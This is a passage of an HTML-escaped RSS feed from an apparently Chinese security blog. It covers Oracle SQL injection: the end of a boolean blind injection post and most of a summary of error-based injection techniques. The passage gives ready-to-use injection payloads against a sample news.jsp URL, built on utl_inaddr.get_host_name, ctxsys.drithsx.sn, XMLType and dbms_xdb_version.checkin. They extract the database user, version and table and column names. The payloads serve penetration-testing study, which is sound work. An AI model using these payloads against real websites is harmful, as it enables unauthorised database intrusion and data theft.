255);&quot;&gt;爆其它数据的方法和爆表，爆字段的一样，这里不再赘述。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;二、布尔型盲注&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;这里贴一些语句，具体就不手工做了&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;(select length(table_name) from user_tables where rownum=1)&amp;gt;5&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;(select ascii(substr(table_name,1,1)) from user_tables where rownum=1)&amp;gt;100&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;(select length(column_name) from user_tab_columns where table_name=xxx and rownum=1)&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;(select ascii(substr(column_name,1,1)) from user_tab_columns where rownum=1 and table_name=xxx)&amp;gt;100&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Fri, 22 May 2020 17:27:28 +0800</pubDate></item><item><title>Oracle报错注入总结</title><link>http://www.liugongrui.com/?id=260</link><description>&lt;h2 style=&quot;margin: 20px 0px 10px; padding: 0px; border-top: none; border-right: none; border-bottom: 1px solid rgb(238, 238, 238); border-left: none; border-image: initial; background-repeat: no-repeat; font-size: 28pt; line-height: 1.5; box-sizing: inherit; font-family: Calibri, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, Arial, sans-serif; color: rgb(51, 51, 51); white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;0x00&amp;nbsp;前言&lt;/h2&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;在oracle注入时候出现了数据库&lt;span style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: inherit; line-height: inherit; box-sizing: inherit; color: #FF0000;&quot;&gt;报错信息&lt;/span&gt;，可以优先选择&lt;span style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: inherit; line-height: inherit; box-sizing: inherit; color: #FF0000;&quot;&gt;报错注入&lt;/span&gt;，使用报错的方式将查询数据的结果带出到错误页面中。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;使用报错注入需要使用类似 1=[报错语句]，1&amp;gt;[报错语句]，使用&lt;span style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: inherit; line-height: inherit; box-sizing: inherit; color: #FF0000;&quot;&gt;比较运算符&lt;/span&gt;，这样的方式进行报错注入（MYSQL仅使用函数报错即可），类似mssql报错注入的方式。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;判断注入&lt;/p&gt;&lt;div class=&quot;cnblogs_code&quot; style=&quot;margin: 5px 0px; padding: 5px; border: 1px solid rgb(204, 204, 204); background-repeat: no-repeat; line-height: inherit; box-sizing: inherit; background-color: rgb(245, 245, 245); overflow: auto; white-space: normal; font-size: 12px !important; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 0px; border: none; background-repeat: no-repeat; line-height: inherit; box-sizing: inherit; white-space: pre-wrap; overflow-wrap: break-word; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;http://www.jsporcle.com/news.jsp?id=1&amp;nbsp;and&amp;nbsp;(select&amp;nbsp;count&amp;nbsp;(*)&amp;nbsp;from&amp;nbsp;user_tables)&amp;gt;0&amp;nbsp;--http://www.jsporcle.com/news.jsp?id=1&amp;nbsp;and&amp;nbsp;(select&amp;nbsp;count&amp;nbsp;(*)&amp;nbsp;from&amp;nbsp;dual)&amp;gt;0&amp;nbsp;--&lt;/pre&gt;&lt;/div&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/1590139622326478.png&quot; alt=&quot;&quot; style=&quot;margin: 0px 0px 10px; padding: 0px; border: 0px; background-repeat: no-repeat; font-size: inherit; line-height: inherit; box-sizing: inherit; vertical-align: middle; height: auto; max-width: 100%; border-radius: 5px; box-shadow: rgba(0, 0, 2, 0.2) 0px 2px 2px;&quot;/&gt;&lt;/p&gt;&lt;div style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255); text-align: right;&quot;&gt;&lt;a href=&quot;https://www.cnblogs.com/-qing-/p/10949562.html#_labelTop&quot; style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: inherit; line-height: inherit; box-sizing: inherit; text-decoration-line: none; color: rgb(102, 178, 255); transition: all 0.2s ease 0s;&quot;&gt;回到顶部(go to top)&lt;/a&gt;&lt;a name=&quot;_label1&quot; style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: inherit; line-height: inherit; box-sizing: inherit; color: rgb(102, 178, 255); transition: all 0.2s ease 0s;&quot;&gt;&lt;/a&gt;&lt;/div&gt;&lt;h2 style=&quot;margin: 20px 0px 10px; padding: 0px; border-top: none; border-right: none; border-bottom: 1px solid rgb(238, 238, 238); border-left: none; border-image: initial; background-repeat: no-repeat; font-size: 28pt; line-height: 1.5; box-sizing: inherit; font-family: Calibri, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, Arial, sans-serif; color: rgb(51, 51, 51); white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;0x01&amp;nbsp;报错函数注入&lt;/h2&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: 14pt; line-height: inherit; box-sizing: inherit;&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: inherit; line-height: inherit; box-sizing: inherit; color: #FF0000;&quot;&gt;utl_inaddr.get_host_name&lt;/span&gt;()进行报错注入&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;cnblogs_code&quot; style=&quot;margin: 5px 0px; padding: 5px; border: 1px solid rgb(204, 204, 204); background-repeat: no-repeat; line-height: inherit; box-sizing: inherit; background-color: rgb(245, 245, 245); overflow: auto; white-space: normal; font-size: 12px !important; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 0px; border: none; background-repeat: no-repeat; line-height: inherit; box-sizing: inherit; white-space: pre-wrap; overflow-wrap: break-word; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;and&amp;nbsp;1=utl_inaddr.get_host_name((select&amp;nbsp;user&amp;nbsp;from&amp;nbsp;dual))--http://www.jsporcle.com/news.jsp?id=1&amp;nbsp;and&amp;nbsp;1=utl_inaddr.get_host_name((select&amp;nbsp;user&amp;nbsp;from&amp;nbsp;dual))--&lt;/pre&gt;&lt;/div&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;utl_inaddr.get_host_address&amp;nbsp;本意是获取ip 地址，但是如果传递参数无法得到解析就会返回一个oracle 错误并显示传递的参数。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;我们传递的是一个sql 语句所以返回的就是语句执行的结果。oracle 在启动之后，把一些系统变量都放置到一些特定的视图当中，可以利用这些视图获得想要的东西。通常非常重要的信息有：&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/1590139622655570.png&quot; alt=&quot;&quot; style=&quot;margin: 0px 0px 10px; padding: 0px; border: 0px; background-repeat: no-repeat; font-size: inherit; line-height: inherit; box-sizing: inherit; vertical-align: middle; height: auto; max-width: 100%; border-radius: 5px; box-shadow: rgba(0, 0, 2, 0.2) 0px 2px 2px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: 14pt; line-height: inherit; box-sizing: inherit;&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: inherit; line-height: inherit; box-sizing: inherit; color: #FF0000;&quot;&gt;ctxsys.drithsx.sn&lt;/span&gt;()进行报错注入&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;cnblogs_code&quot; style=&quot;margin: 5px 0px; padding: 5px; border: 1px solid rgb(204, 204, 204); background-repeat: no-repeat; line-height: inherit; box-sizing: inherit; background-color: rgb(245, 245, 245); overflow: auto; white-space: normal; font-size: 12px !important; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 0px; border: none; background-repeat: no-repeat; line-height: inherit; box-sizing: inherit; white-space: pre-wrap; overflow-wrap: break-word; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;http://www.jsporcle.com/news.jsp?id=1&amp;nbsp;and&amp;nbsp;1=ctxsys.drithsx.sn(1,(select&amp;nbsp;user&amp;nbsp;from&amp;nbsp;dual))&amp;nbsp;--&lt;/pre&gt;&lt;/div&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/1590139624562413.png&quot; alt=&quot;&quot; style=&quot;margin: 0px 0px 10px; padding: 0px; border: 0px; background-repeat: no-repeat; font-size: inherit; line-height: inherit; box-sizing: inherit; vertical-align: middle; height: auto; max-width: 100%; border-radius: 5px; box-shadow: rgba(0, 0, 2, 0.2) 0px 2px 2px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: 14pt; line-height: inherit; box-sizing: inherit;&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: inherit; line-height: inherit; box-sizing: inherit; color: #FF0000;&quot;&gt;XMLType&lt;/span&gt;()进行报错注入&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;cnblogs_code&quot; style=&quot;margin: 5px 0px; padding: 5px; border: 1px solid rgb(204, 204, 204); background-repeat: no-repeat; line-height: inherit; box-sizing: inherit; background-color: rgb(245, 245, 245); overflow: auto; white-space: normal; font-size: 12px !important; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 0px; border: none; background-repeat: no-repeat; line-height: inherit; box-sizing: inherit; white-space: pre-wrap; overflow-wrap: break-word; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;and&amp;nbsp;(select&amp;nbsp;upper(XMLType(chr(60)||chr(58)||(select&amp;nbsp;user&amp;nbsp;from&amp;nbsp;dual)||chr(62)))&amp;nbsp;from&amp;nbsp;dual)&amp;nbsp;is&amp;nbsp;not&amp;nbsp;null&amp;nbsp;--http://www.jsporcle.com/news.jsp?id=1&amp;nbsp;and&amp;nbsp;(select&amp;nbsp;upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select&amp;nbsp;user&amp;nbsp;from&amp;nbsp;dual)%7c%7cchr(62)))&amp;nbsp;from&amp;nbsp;dual)&amp;nbsp;is&amp;nbsp;not&amp;nbsp;null&amp;nbsp;--&lt;/pre&gt;&lt;/div&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/1590139624611716.png&quot; alt=&quot;&quot; style=&quot;margin: 0px 0px 10px; padding: 0px; border: 0px; background-repeat: no-repeat; font-size: inherit; line-height: inherit; box-sizing: inherit; vertical-align: middle; height: auto; max-width: 100%; border-radius: 5px; box-shadow: rgba(0, 0, 2, 0.2) 0px 2px 2px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: 14pt; line-height: inherit; box-sizing: inherit;&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: inherit; line-height: inherit; box-sizing: inherit; color: #FF0000;&quot;&gt;dbms_xdb_version.checkin&lt;/span&gt;()进行报错注入&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;cnblogs_code&quot; style=&quot;margin: 5px 0px; padding: 5px; border: 1px solid rgb(204, 204, 204); background-repeat: no-repeat; line-height: inherit; box-sizing: inherit; background-color: rgb(245, 245, 245); overflow: auto; white-space: normal; font-size: 12px !important; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 0px; border: none; background-repeat: no-repeat; line-height: inherit; box-sizing: inherit; white-space: pre-wrap; overflow-wrap: break-word; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;and&amp;nbsp;(select&amp;nbsp;dbms_xdb_version.checkin((select&amp;nbsp;user&amp;nbsp;from&amp;nbsp;dual))&amp;nbsp;from&amp;nbsp;dual)&amp;nbsp;is&amp;nbsp;not&amp;nbsp;null&amp;nbsp;--查询版本信息
http://www.jsporcle.com/news.jsp?id=1&amp;nbsp;and&amp;nbsp;(select&amp;nbsp;dbms_xdb_version.checkin((select&amp;nbsp;banner&amp;nbsp;from&amp;nbsp;sys.v_$version&amp;nbsp;where&amp;nbsp;rownum=1))&amp;nbsp;from&amp;nbsp;dual)&amp;nbsp;is&amp;nbsp;not&amp;nbsp;null&amp;nbsp;--&lt;/pre&gt;&lt;/div&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/1590139625940357.png&quot; alt=&quot;&quot; style=&quot;margin: 0px 0px 10px; padding: 0px; border: 0px; background-repeat: no-repeat; font-size: inherit; line-height: inherit; box-sizing: inherit; vertical-align: middle; height: auto; max-width: 100%; border-radius: 5px; box-shadow: rgba(0, 0, 2, 0.2) 0px 2px 2px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft 